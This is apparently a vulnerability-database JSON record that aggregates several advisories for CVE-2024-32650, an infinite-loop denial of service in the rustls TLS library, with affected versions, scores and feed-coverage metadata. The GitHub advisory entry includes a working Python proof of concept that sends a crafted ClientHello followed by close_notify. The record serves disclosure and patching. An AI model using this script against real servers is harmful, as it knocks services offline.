{"id":"CVE-2024-32650","revision":null,"records":[{"revision":"5336f7182d3a4fb380e207edd64f25e3","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2024-32650","aliases":[],"title":"Rustls vulnerable to an infinite loop in rustls::conn::ConnectionCommon::complete_io() with proper client input","description":"Rustls is a modern TLS library written in Rust. `rustls::ConnectionCommon::complete_io` could fall into an infinite loop based on network input. When using a blocking rustls server, if a client send a `close_notify` message immediately after `client_hello`, the server's `complete_io` will get in an infinite loop. This vulnerability is fixed in 0.23.5, 0.22.4, and 0.21.11.","state":0,"publishedAt":"2024-04-19T16:05:44.05+00:00","modifiedAt":"2024-08-02T02:13:40.195+00:00","affected":[{"ecosystem":"Vendor product","name":"rustls","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"rustls\",\n                    \"product\": \"rustls\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 0.23.0, < 0.23.5\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 0.22.0, < 0.22.4\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 0.21.0, < 0.21.11\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \"= 0.20.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/rustls/rustls/security/advisories/GHSA-6g7w-8wpp-frhj","https://github.com/rustls/rustls/commit/2123576840aa31043a31b0770e6572136fbe0c2d","https://github.com/rustls/rustls/commit/6e938bcfe82a9da7a2e1cbf10b928c7eca26426e","https://github.com/rustls/rustls/commit/f45664fbded03d833dffd806503d3c8becd1b71e"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2024-32650","license":"CVE Program Terms of Use","key":"cve-program:CVE-2024-32650","identifiers":["CVE-2024-32650"]},"retained":false,"historicalAffected":[]},{"revision":"14979de4fb1844738882ea5be73a74dc","observedAt":"2026-11-09T00:09:24.904+00:00","statement":{"source":"euvd","id":"EUVD-2024-1125","aliases":["CVE-2024-32650","GHSA-6g7w-8wpp-frhj"],"title":"Rustls is a modern TLS library written in Rust. `rustls::ConnectionCommon::complete_io` could fall into an infinite loop based on network input. When using a blocking rustls server, if a client send a `close_notify` message immediately afte…","description":"Rustls is a modern TLS library written in Rust. `rustls::ConnectionCommon::complete_io` could fall into an infinite loop based on network input. When using a blocking rustls server, if a client send a `close_notify` message immediately after `client_hello`, the server's `complete_io` will get in an infinite loop. This vulnerability is fixed in 0.23.5, 0.22.4, and 0.21.11.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":null}],"references":["https://github.com/rustls/rustls/security/advisories/GHSA-6g7w-8wpp-frhj","https://github.com/rustls/rustls/commit/2123576840aa31043a31b0770e6572136fbe0c2d","https://github.com/rustls/rustls/commit/6e938bcfe82a9da7a2e1cbf10b928c7eca26426e","https://github.com/rustls/rustls/commit/f45664fbded03d833dffd806503d3c8becd1b71e"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2024-1125","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Apr 19, 2024, 4:05:44 PM","dateUpdated":"Aug 2, 2024, 2:13:40 AM"},"relatedAdvisories":[{"id":"openSUSE-SU-2024:13912-1","title":"kubetui-1.5.1-1.1 on GA media","vulnerabilityIds":["CVE-2024-32650"]},{"id":"openSUSE-SU-2024:13893-1","title":"shadowsocks-rust-1.18.3-1.1 on GA media","vulnerabilityIds":["CVE-2024-32650"]},{"id":"SUSE-SU-2025:02809-1","title":"Security update for rust-keylime","vulnerabilityIds":["CVE-2023-26964","CVE-2024-12224","CVE-2024-32650","CVE-2024-43806","CVE-2025-3416","CVE-2025-58266"]},{"id":"openSUSE-SU-2024:13903-1","title":"teleport-15.2.4-1.1 on GA media","vulnerabilityIds":["CVE-2023-45288","CVE-2024-29902","CVE-2024-32650"]},{"id":"SUSE-SU-2025:02811-1","title":"Security update for rust-keylime","vulnerabilityIds":["CVE-2023-26964","CVE-2024-12224","CVE-2024-32650","CVE-2024-43806","CVE-2025-3416","CVE-2025-58266"]},{"id":"openSUSE-SU-2024:0130-1","title":"Security update for git-cliff","vulnerabilityIds":["CVE-2024-32650"]},{"id":"SUSE-SU-2025:20057-1","title":"Security update for rust-keylime","vulnerabilityIds":["CVE-2024-32650","CVE-2024-43806"]},{"id":"SUSE-SU-2025:02810-1","title":"Security update for rust-keylime","vulnerabilityIds":["CVE-2023-26964","CVE-2024-12224","CVE-2024-32650","CVE-2024-43806","CVE-2025-3416","CVE-2025-58266"]},{"id":"openSUSE-SU-2024:13904-1","title":"topgrade-14.0.1-2.1 on GA media","vulnerabilityIds":["CVE-2024-32650"]},{"id":"openSUSE-SU-2026:21558-1","title":"Security update for gitoxide","vulnerabilityIds":["CVE-2024-32650","CVE-2025-22620","CVE-2025-31130","CVE-2026-25541","CVE-2026-40034"]},{"id":"openSUSE-SU-2024:14424-1","title":"gitoxide-0.38.0-1.1 on GA media","vulnerabilityIds":["CVE-2024-32650"]},{"id":"openSUSE-SU-2024:13917-1","title":"tlrc-1.9.2+0-1.1 on GA media","vulnerabilityIds":["CVE-2024-32650"]},{"id":"openSUSE-SU-2024:13923-1","title":"keylime-ima-policy-0.2.5~0-1.1 on GA media","vulnerabilityIds":["CVE-2024-32650"]},{"id":"SUSE-SU-2025:03629-1","title":"Security update for gstreamer-plugins-rs","vulnerabilityIds":["CVE-2024-32650"]},{"id":"openSUSE-SU-2024:13961-1","title":"sccache-0.8.0~3-1.1 on GA media","vulnerabilityIds":["CVE-2024-32650"]},{"id":"openSUSE-SU-2024:13969-1","title":"git-cliff-2.2.2-1.1 on GA media","vulnerabilityIds":["CVE-2024-32650"]},{"id":"msrc_CVE-2024-32650","title":"Rustls vulnerable to an infinite loop in rustls::conn::ConnectionCommon::complete_io() with proper client input","vulnerabilityIds":["CVE-2024-32650"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2024-1125","identifiers":["EUVD-2024-1125","CVE-2024-32650","GHSA-6g7w-8wpp-frhj"]},"retained":false,"historicalAffected":[]},{"revision":"c302d4548c06402c852458620a524bfb","observedAt":"2026-10-25T00:17:10.712+00:00","statement":{"source":"nvd","id":"CVE-2024-32650","aliases":[],"title":"Rustls is a modern TLS library written in Rust. `rustls::ConnectionCommon::complete_io` could fall into an infinite loop based on network input. When using a blocking rustls server, if a client send a `close_notify` message immediately afte…","description":"Rustls is a modern TLS library written in Rust. `rustls::ConnectionCommon::complete_io` could fall into an infinite loop based on network input. When using a blocking rustls server, if a client send a `close_notify` message immediately after `client_hello`, the server's `complete_io` will get in an infinite loop. This vulnerability is fixed in 0.23.5, 0.22.4, and 0.21.11.","state":0,"publishedAt":"2024-04-19T16:15:10.94+00:00","modifiedAt":"2026-06-17T07:30:09.197+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/rustls/rustls/commit/2123576840aa31043a31b0770e6572136fbe0c2d","https://github.com/rustls/rustls/commit/6e938bcfe82a9da7a2e1cbf10b928c7eca26426e","https://github.com/rustls/rustls/commit/f45664fbded03d833dffd806503d3c8becd1b71e","https://github.com/rustls/rustls/security/advisories/GHSA-6g7w-8wpp-frhj"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2024-32650","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-835"],"productCriteria":[],"sourceDates":{"published":"2024-04-19T16:15:10.940","lastModified":"2026-06-17T07:30:09.197"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2024-32650","identifiers":["CVE-2024-32650"]},"retained":false,"historicalAffected":[]},{"revision":"cf89631f31bc4506ae31e5d873d70afa","observedAt":"2026-10-24T13:19:54.901+00:00","statement":{"source":"osv","id":"GHSA-6g7w-8wpp-frhj","aliases":["CVE-2024-32650","RUSTSEC-2024-0336"],"title":"Denial of Service Vulnerability in Rustls Library","description":"### Summary\n`rustls::ConnectionCommon::complete_io` could fall into an infinite loop based on network input.\n\n### Details\n\nVerified at `0.22` and `0.23` `rustls`, but `0.21` and `0.20` release lines are also affected. `tokio-rustls` and `rustls-ffi` do not call `complete_io` and are not affected. `rustls::Stream` and `rustls::StreamOwned` types use `complete_io` and are affected.\n\nWhen using a blocking rustls server, if a client send a `close_notify` message immediately after `client_hello`, the server's `complete_io` will get in an infinite loop where:\n\n- `eof`: false\n- `until_handshaked`: true\n- `self.is_handshaking()`: true\n- `self.wants_write()`: false\n- `self.wants_read()`: false\n\n\n### PoC\n\n1. Run simple server: `cargo run --bin simpleserver test-ca/rsa/end.fullchain test-ca/rsa/end.key`\n2. Run following python script\n    ```python3\n    #!/usr/bin/env python3\n    \n    import socket\n    \n    sock = socket.socket()\n    sock.connect((\"localhost\", 4443))\n    \n    print(\"Sending client hello...\")\n    \n    # Fake handshake data of a client hello message.\n    fake_handshake = \"\"\"\n    1603 0100 c801 0000 c403 03ec 12dd\n    1764 a439 fd7e 8c85 46b8 4d1e a06e b3d7\n    a051 f03c b817 470d 4c54 c5df 7200 001c\n    eaea c02b c02f c02c c030 cca9 cca8 c013\n    c014 009c 009d 002f 0035 000a 0100 007f\n    dada 0000 ff01 0001 0000 0000 1600 1400\n    0011 7777 772e 7769 6b69 7065 6469 612e\n    6f72 6700 1700 0000 2300 0000 0d00 1400\n    1204 0308 0404 0105 0308 0505 0108 0606\n    0102 0100 0500 0501 0000 0000 0012 0000\n    0010 000e 000c 0268 3208 6874 7470 2f31\n    2e31 7550 0000 000b 0002 0100 000a 000a\n    0008 1a1a 001d 0017 0018 1a1a 0001 00\n    \"\"\"\n    \n    \n    def parse_fake_handshake():\n        i = 0\n        data = bytearray()\n        while i < len(fake_handshake):\n            while i < len(fake_handshake) and fake_handshake[i].isspace():\n                i += 1\n            if i >= len(fake_handshake):\n                return data\n    \n            c1 = fake_handshake[i]\n            c2 = fake_handshake[i + 1]\n            i += 2\n    \n            data.append(int(c1, 16) * 16 + int(c2, 16))\n        return data\n    \n    \n    data = parse_fake_handshake()\n    \n    print(\"Fake client hello:\", data)\n    \n    sock.send(data)\n    \n    # Send close_notify alert that we're closing the connection.\n    close_data = bytearray([0x15, 0x03, 0x03, 0x00, 0x02, 0x01, 0x00])\n    print(f\"close_notify is {close_data}\")\n    sock.send(close_data)\n    print(\"close_notify sent\")\n    \n    exit(0)\n    ```\n4. You could observe the server process get into 100% cpu usage, and if you add logging at beginning of `rustls::conn::ConnectionCommon::complete_io`, you could see the function is spinning.\n\nAlso note that the server thread is stuck in this infinite loop even if the client closes the socket.\n\n### Impact\n\nThis is a DOS.\n\nA multithread non-async server that uses `rustls` could be attacked by getting few requests like above (each request could cause one thread to spin) and stop handling normal requests.\n","state":0,"publishedAt":"2024-04-19T19:46:57+00:00","modifiedAt":"2026-09-10T03:50:12.3623136+00:00","affected":[{"ecosystem":"crates.io","name":"rustls","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0.23.0"},{"kind":"fixed","version":"0.23.5"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"crates.io","name":"rustls","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0.22.0"},{"kind":"fixed","version":"0.22.4"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"crates.io","name":"rustls","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0.21.0"},{"kind":"fixed","version":"0.21.11"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"crates.io","name":"rustls","ranges":[],"versions":["0.20"],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/rustls/rustls/security/advisories/GHSA-6g7w-8wpp-frhj","https://nvd.nist.gov/vuln/detail/CVE-2024-32650","https://github.com/rustls/rustls/commit/2123576840aa31043a31b0770e6572136fbe0c2d","https://github.com/rustls/rustls/commit/5374108df698e78c3e9ef8265cac311556be24af","https://github.com/rustls/rustls/commit/6e938bcfe82a9da7a2e1cbf10b928c7eca26426e","https://github.com/rustls/rustls/commit/ebcb4782f23b4edf9b10a7065d9e8d4362439d9c","https://github.com/rustls/rustls/commit/f45664fbded03d833dffd806503d3c8becd1b71e","https://github.com/rustls/rustls","https://rustsec.org/advisories/RUSTSEC-2024-0336.html"],"sourceUrl":"https://github.com/advisories/GHSA-6g7w-8wpp-frhj","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-6g7w-8wpp-frhj","identifiers":["GHSA-6g7w-8wpp-frhj","CVE-2024-32650","RUSTSEC-2024-0336"]},"retained":false,"historicalAffected":[]},{"revision":"77967e40c9a34d7896093ccbc7bf8b2c","observedAt":"2026-10-24T13:19:54.901+00:00","statement":{"source":"osv","id":"RUSTSEC-2024-0336","aliases":["CVE-2024-32650","GHSA-6g7w-8wpp-frhj"],"title":"`rustls::ConnectionCommon::complete_io` could fall into an infinite loop based on network input","description":"If a `close_notify` alert is received during a handshake, `complete_io`\ndoes not terminate.\n\nCallers which do not call `complete_io` are not affected.\n\n`rustls-tokio` and `rustls-ffi` do not call `complete_io`\nand are not affected.\n\n`rustls::Stream` and `rustls::StreamOwned` types use\n`complete_io` and are affected.","state":0,"publishedAt":"2024-04-19T12:00:00+00:00","modifiedAt":"2026-10-12T18:00:07.0546815+00:00","affected":[{"ecosystem":"crates.io","name":"rustls","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0.0.0-0"},{"kind":"fixed","version":"0.21.11"},{"kind":"introduced","version":"0.22.0"},{"kind":"fixed","version":"0.22.4"},{"kind":"introduced","version":"0.23.0"},{"kind":"fixed","version":"0.23.5"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null}],"references":["https://crates.io/crates/rustls","https://rustsec.org/advisories/RUSTSEC-2024-0336.html","https://github.com/rustls/rustls/commit/2123576840aa31043a31b0770e6572136fbe0c2d"],"sourceUrl":"https://osv.dev/vulnerability/RUSTSEC-2024-0336","license":"OSV · upstream source license applies","key":"osv:RUSTSEC-2024-0336","identifiers":["RUSTSEC-2024-0336","CVE-2024-32650","GHSA-6g7w-8wpp-frhj"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-10T10:21:23.1769119+00:00","complete":true,"records":1773,"lastAttemptAt":"2026-11-10T10:21:23.1769119+00:00","lastSuccessAt":"2026-11-10T10:21:23.4268898+00:00","error":null,"lastVerifiedAt":"2026-11-10T10:21:23.4268987+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-8859cf40d4337e24bd2f258cc7778fbad01bb24c79d057aaf34cf1dfc6f8917d-8bdcdeeb414e06ff50ed637d818ac25d52680d19f71fc0ebe3f4c4b3f836ed38","complete":true,"records":421927,"lastAttemptAt":"2026-11-10T10:21:22.8157744+00:00","lastSuccessAt":"2026-11-10T09:21:38.1064889+00:00","error":null,"lastVerifiedAt":"2026-11-10T10:21:22.8157744+00:00","snapshotPublishedAt":"2026-11-10T09:20:43+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-2e6a476534094233b48f2f0b6da5cf35","complete":true,"records":13689,"lastAttemptAt":"2026-11-10T10:21:50.2500014+00:00","lastSuccessAt":"2026-11-10T06:05:35.03+00:00","error":null,"lastVerifiedAt":"2026-11-10T06:05:35.03+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13742,"expectedIdentifiers":13742,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-10T10:21:23.1769119+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-10T10:21:23.1769119+00:00","lastSuccessAt":"2026-11-10T10:21:23.4276529+00:00","error":null,"lastVerifiedAt":"2026-11-10T10:21:23.4276532+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-b0b0499af228434598651aa5d221386e","complete":false,"records":13695,"lastAttemptAt":"2026-11-10T10:21:49.6403901+00:00","lastSuccessAt":"2026-11-10T10:21:49.637+00:00","error":"100 identifier lookups failed; latest failures include request timeout. Other identifiers were checked independently.","lastVerifiedAt":"2026-11-10T10:21:49.637+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13642,"expectedIdentifiers":13742,"failedIdentifiers":100},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-cdffb4589856378aa42e8d1bd4a6c74e27a180d8160bf764c44715ef760f0a62","complete":true,"records":9932,"lastAttemptAt":"2026-11-10T10:21:23.1241572+00:00","lastSuccessAt":"2026-11-10T00:04:19.8260565+00:00","error":null,"lastVerifiedAt":"2026-11-10T10:21:23.1241572+00:00","snapshotPublishedAt":"2026-11-09T23:48:01+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-26503967ae4379db8f374089589d6e03fb15bd31f820c9e992aaf93840c2236c","complete":true,"records":1971,"lastAttemptAt":"2026-11-10T10:21:22.8858542+00:00","lastSuccessAt":"2026-11-09T21:02:20.472473+00:00","error":null,"lastVerifiedAt":"2026-11-10T10:21:22.8858542+00:00","snapshotPublishedAt":"2026-11-09T20:18:18+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-94169eec81ea3989aa551092397ff34ae53c104b4a6ce646e1524452e4ab2a39","complete":true,"records":3065,"lastAttemptAt":"2026-11-10T10:21:23.1397622+00:00","lastSuccessAt":"2026-11-10T08:04:45.5923716+00:00","error":null,"lastVerifiedAt":"2026-11-10T10:21:23.1397622+00:00","snapshotPublishedAt":"2026-11-10T06:48:01+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-4331051b0b2d4ccdbdca3aa196b0be3818a465064a4b18dde4cf39c2250eb490","complete":true,"records":231599,"lastAttemptAt":"2026-11-10T10:21:23.0142877+00:00","lastSuccessAt":"2026-11-10T08:04:37.1757322+00:00","error":null,"lastVerifiedAt":"2026-11-10T10:21:23.0142877+00:00","snapshotPublishedAt":"2026-11-10T07:33:02+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}